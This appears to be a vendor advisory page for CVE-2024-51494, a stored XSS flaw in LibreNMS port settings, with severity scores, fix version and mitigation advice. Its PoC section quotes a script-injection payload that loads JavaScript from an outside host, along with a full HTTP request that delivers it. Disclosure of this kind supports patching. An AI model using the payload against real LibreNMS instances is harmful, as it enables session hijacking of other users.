CVE-2024-51494 is a medium-severity (CVSS 4.8) Cross-site Scripting (XSS) vulnerability in librenms/librenms. 1 public exploit reference exists, so weaponization risk is real. A fix is available for librenms/librenms — see the affected versions and patch details below.
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-51494.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-51494 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the "Port Settings" page is visited, potentially compromising the user's session and allowing unauthorized actions.
Details
When editing a device's port settings, an attacker can inject the following XSS payload into the "descr" parameter:
lo'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the "Port Settings" page is visited, exploiting the $port->ifAlias variable in the application. The sink is located here:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82
PoC
- Edit a device's port settings using the following payload in the "descr" parameter:
lo'"><script/src=//15.rs> - Save the changes.
- Navigate to the "Port Settings" page of the device.
- Observe that the injected script executes.
Example Request:
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>
type=update-ifalias&descr=lo'%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&ifName=lo&port_id=1&device_id=1
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 24.10.0composer require librenms/librenms:^24.10.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 24.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-51494 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-51494 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-51494. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-51494 in your dependencies?
O3 Security finds CVE-2024-51494 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.